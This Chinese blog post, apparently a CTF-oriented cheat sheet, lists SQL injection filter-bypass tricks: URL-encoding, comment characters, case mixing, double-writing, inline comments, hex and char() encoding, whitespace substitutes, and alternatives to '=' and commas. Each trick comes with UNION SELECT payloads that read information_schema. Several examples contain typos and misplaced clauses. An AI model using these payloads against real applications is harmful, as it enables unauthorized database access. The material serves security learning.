SQL注入的一些知识

HTTP协议Trick

URL中字符的特殊含义:

1.&表示GET方式提交参数的分隔a=1&b=2,如果在SQL注入过程中将and替换为&&,要对&进行URL编码&&=>%26%26

2.#表示锚点,如果SQL注入过程中使用#表示注释,要对#进行URL编码#=>%23

3.Web站点默认访问index开头的页面,http://ctf.xxx.com/(index.php)?id=1 此处省略index默认页面

4.Web站点默认使用80端口,可省略。http://ctf.xxx.com:8080/?id=1,如果非80端口,不可省略

 

常用注释符(引号逃逸使用)

--空格(注释内容)、--+(注释内容)、/*(注释内容)*/、#注释内容

 

大小写绕过

SQL不区分大小写 

select * from admin where id=1;

select * from admin where id=1 UnioN SeLeCt 1,2,3,4,5

 

双写绕过

select * from admin where id=1;

select * from admin where id=1 UnunionioN SeLeCt 1,2,3,4,5

 

内联注释绕过

select * from admin where id=1;

select * from admin where id=1 Union /*!select*/ 1,2,3,4,5

 

单引号过滤

select * from admin where id=1;

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=’web_sql’;

 

十六进制绕过

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=0x7765625F73716C;

 

char函数绕过

select * from admin where id=1 union select 1,2,table_name,4,5 from information_schema.tables limit 0,1 where table_schema=

char(119)+char(101)+char(98)+char(95)+char(115)+char(113)+char(108)

 

空格过滤

select id from admin where id=1;

 

括号绕过

select(id)from(admin)where(id=1);

注释绕过 空格=>/**/

Select/**/*/**/from/**/admin;

 

反引号绕过(数据库默认识别关键字,不需要加引号,但是无法自动识别用户定义的表名和字段名,此时可以使用反引号指定)

Select*from’admin’where’id’=1;

 

其他空白字符绕过

#ASCII table:

#     TAB        09          horizontal TAB

#     LF           0A          new line

#     FF          0C          new page

#     CR          0D          carriage return

 

等号过滤

like或rlike绕过

select * from admin where username=’admin’

select * from admin where username like ‘admin’

select * form admin where username rlike ‘admin’

between…and…绕过

select * from admin where username between ‘admin’ and ‘admin’

regexp绕过

select * from admin where usename regexp ‘admin’

逗号过滤

盲注过滤中,需要使用substr、substring、mid等字符串截取函数、limit m,n截取记录,都需要用逗号。

substr(‘字符串’,start,length)使用stustr(‘字符串’ from start for length)替换

select substr(‘admin’,1,1);

select substr(‘admin’ from 1 for 1);

limit m,n使用limit m offset n 替换。

select * from person limit 0,1;

select * from person limit 1 offset 0;

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值